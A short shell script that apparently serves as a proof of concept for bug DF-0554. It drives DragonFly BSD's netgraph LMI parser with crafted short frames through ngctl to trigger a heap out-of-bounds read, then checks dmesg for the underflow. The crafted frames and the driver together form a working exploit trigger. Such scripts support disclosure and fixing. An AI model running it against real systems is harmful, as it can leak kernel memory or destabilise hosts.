#!/bin/sh
# Run the DF-0554 PoC. This PoC drives the netgraph LMI parser as root
# (PF_NETGRAPH control sockets are root-only in DragonFly; the bug class
# is remote-FR-peer-triggered heap OOB read / info leak, not local privesc).
#
# Setup requires ng_socket.ko + ng_lmi.ko loaded. The driver script uses
# ngctl (already shipped) to build a 1-node topology in a single process
# (so the socket node owns the lmi peer for the duration) and writes the
# crafted short frames.
set -e
kldload netgraph.ko 2>/dev/null || true
kldload ng_socket.ko 2>/dev/null || true
kldload ng_lmi.ko   2>/dev/null || true

TMP=$(mktemp -t ngdf0554)
cat > "$TMP" <<'NGEOF'
mkpeer . lmi annexA annexA
show .
write annexA 0x03
write annexA 0x03 0x08
write annexA 0x03 0x08 0x00 0x7D
write annexA 0x03 0x08 0x00 0x7D 0x09
quit
NGEOF
ngctl -f "$TMP"
rm -f "$TMP"
echo "--- dmesg evidence (look for 'location -65533' = underflow) ---"
dmesg | grep -iE 'nglmi' | tail -20